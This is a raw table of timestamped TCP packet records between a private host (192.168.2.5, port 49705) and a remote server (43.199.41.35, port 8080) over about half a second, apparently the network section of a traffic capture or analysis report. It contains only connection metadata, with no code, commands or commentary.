Nov 25, 2024 11:10:23.161813974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.162718058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.162928104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.162969112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.163477898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.163566113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.163606882 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.164159060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.164279938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.164323092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.165036917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.165287018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.165330887 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.165925980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.166049004 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.166088104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.166790009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.166919947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.166965008 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.167670965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.167778015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.167825937 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.168538094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.168668985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.168711901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.169423103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.169544935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.169589996 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.170316935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.170440912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.170483112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.171221018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.171379089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.171422005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.172101974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.172259092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.172302961 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.172996044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.173134089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.173173904 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.173841953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.173930883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.173973083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.174751043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.174873114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.174913883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.175626040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.175744057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.175784111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.176547050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.176610947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.176646948 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.177433968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.177490950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.177531004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.178340912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.178446054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.178482056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.179255009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.179368973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.179419041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.180074930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.180181026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.180221081 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.180964947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.181073904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.181116104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.181845903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.181979895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.182027102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.182727098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.182841063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.182877064 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.183618069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.183732033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.183773994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.184536934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.184613943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.184649944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.185390949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.185497046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.185545921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.186285973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.186408043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.186449051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.187160969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.187273979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.187309027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.188050985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.188175917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.188262939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.188945055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.189034939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.189068079 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.189850092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.189966917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.190009117 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.190701962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.190823078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.190860987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.191606045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.191709995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.191747904 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.192645073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.192780972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.192819118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.193325996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.245228052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.296437025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.296580076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.296632051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.296876907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.296977043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.297012091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.297540903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.297702074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.297739983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.298469067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.298604012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.298643112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.299324036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.299443960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.299480915 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.300256968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.300403118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.300446987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.301100016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.301191092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.301222086 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.330419064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.330436945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.330480099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.330490112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.330583096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.330625057 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.331557035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.331568956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.331610918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.332240105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.332452059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.332493067 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.333172083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.333340883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.333384037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.334043980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.334156036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.334213018 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.334906101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.335031986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.335091114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.336018085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.336241961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.336282015 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.336791039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.337008953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.337049007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.337640047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.337750912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.337795019 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.353837967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.353955030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.354002953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.354243040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.354441881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.354490995 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.355134964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.355216980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.355391026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.356060028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.356167078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.356209993 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.356894970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.357019901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.357058048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.357806921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.357954025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.357997894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.358701944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.358846903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.358894110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.359570026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.359688044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.359730959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.360440969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.360583067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.360656023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.361525059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.361609936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.361687899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.362225056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.362345934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.362386942 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.363111973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.363238096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.363276005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.364001036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.364131927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.364173889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.364907980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.365093946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.365135908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.365778923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.365901947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.365946054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.366688013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.366893053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.366942883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.367816925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.367909908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.367959976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.368431091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.368504047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.368541002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.369323015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.369410038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.369458914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.370208025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.370315075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.370361090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.371093035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.371172905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.371212959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.372060061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.372154951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.372203112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.372843981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.372962952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.373006105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.373720884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.374062061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.374108076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.374764919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.374886036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.374922991 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.375545979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.375643969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.375682116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.376399994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.376535892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.376578093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.377286911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.377368927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.377410889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.378200054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.378309011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.378343105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.379060984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.379189014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.379231930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.379960060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.380073071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.380110979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.380922079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.381021023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.381068945 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.381726980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.381838083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.381894112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.382643938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.382711887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.382749081 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.383502960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.383703947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.383744955 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.384442091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.384533882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.384576082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.385270119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.432706118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.488599062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.488671064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.488723040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.489005089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.489069939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.489108086 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.489650011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.489767075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.489804983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.490560055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.490684032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.490726948 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.491457939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.491517067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.491558075 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.492351055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.492469072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.492508888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.493284941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.493333101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.493369102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.522198915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.522286892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.522332907 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.522542000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.522654057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.522700071 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.523416996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.523539066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.523588896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.524334908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.524456978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.524496078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.525209904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.525372982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.525417089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.526087999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.526303053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.526336908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.526988983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.527111053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.527153969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.527849913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.527985096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.528029919 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.528776884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.528943062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.528985023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.529690027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.529934883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.529975891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.546109915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.546272993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.546324015 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.546607018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.546761036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.546802998 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.547410965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.547512054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.547548056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.548290968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.548423052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.548463106 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.549180031 CET	8080	49705	43.199.41.35	192.168.2.5
